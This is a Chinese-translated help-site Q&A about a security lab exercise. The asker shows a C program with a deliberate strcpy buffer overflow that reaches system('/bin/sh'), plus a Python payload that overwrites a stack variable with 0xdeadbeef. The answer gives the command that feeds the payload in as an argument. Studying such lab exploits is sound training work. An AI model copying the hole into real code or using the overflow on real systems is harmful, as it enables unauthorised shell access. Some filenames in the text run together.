stdout 如何通过管道传输到位于不同目录中的文件?

stdout 如何通过管道传输到位于不同目录中的文件?

我想通过管道传输 python 文件的标准输出exploit1.py,使其被接受为 C 可执行文件的命令行参数lab2C.c。我的目的是溢出 char 缓冲区,lab2C.c以便内存泄漏到int set_me.这将导致 main() 中的条件语句调用 shell() 函数,即使我没有输入任何一个正确的密码。

问题在于exploit1.pylab2C.c位于不属于同一本地路径的两个不同目录中。exploit1.py位于/tmplab2Clab2C.c位于/levels/lab02.如何通过管道将 stdoutexploit1.py接受为 main 函数参数lab2C

以下是两个文件供参考:

利用1.py:

def main():

    print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

lab2C.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void shell()
{
        printf("You did it.\n");
        system("/bin/sh");
}

int main(int argc, char** argv){
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

答案1

您的 C 程序不会从标准输入读取数据,因此无法通过管道向其传输任何内容。但它需要命令行参数,因此您必须将其调用为

/levels/lab02/lab2C.exe "$(python /tmp/exploit1.py)"

如果您当前位于/levels/lab02,那么这可能会缩短为

./lab2C.exe "$(python /tmp/exploit1.py)"

.exe请注意,在 Unix 上为可执行文件添加后缀并不常见。您的代码中也存在错误(缓冲区溢出和缺少标头),并且 Python 代码中的字符串没有执行您认为的操作(斜杠可能应该是反斜杠)。

相关内容